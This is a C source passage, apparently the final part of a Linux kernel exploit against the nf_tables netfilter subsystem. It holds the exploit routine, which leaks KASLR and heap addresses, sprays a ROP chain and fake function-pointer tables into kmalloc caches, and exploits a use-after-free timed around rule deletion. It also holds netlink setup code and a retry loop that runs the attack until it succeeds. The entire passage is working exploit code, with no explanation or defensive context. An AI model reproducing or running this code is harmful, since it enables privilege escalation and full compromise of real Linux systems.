    if((kmalloc_96 >> 48) != 0xffff){
        return -1;
    }

    printf("[*] heap %lx\n", kmalloc_96);

    return 0;
}

int exploit(){
    int ret;

    trigger(set_rop_name, chain_rop_name);

    if(leak_heap_addr() == -1)
        return -1;

    uint64_t *rop_data = malloc(1024);

    rop_chain_256(rop_data);

    spray_table(rop_data, KMALLOC_256_SIZE);

    del_rule(handle_rop);

    // wait for nft_commit_release() to complete
    usleep(500*1000);

    fake_ops_96(rop_data);

    spray_table(rop_data, KMALLOC_96_SIZE);

    return 0;
}

void setup(){
    new_ns();

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "mnl_socket_open");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }

    portid = mnl_socket_get_portid(nl);

    handle = 0;
}

void start(){
    save_state();

    buf = malloc(BUF_SIZE);

    while(1){
        setup();

        setup_table_chain();

        if(leak_kaslr() == -1) continue;

        if(!exploit()) break;
    }

    trig_sock();
}

int main(int argc, char ** argv)
{
    set_affinity(1);

    start();

    return 0;
}
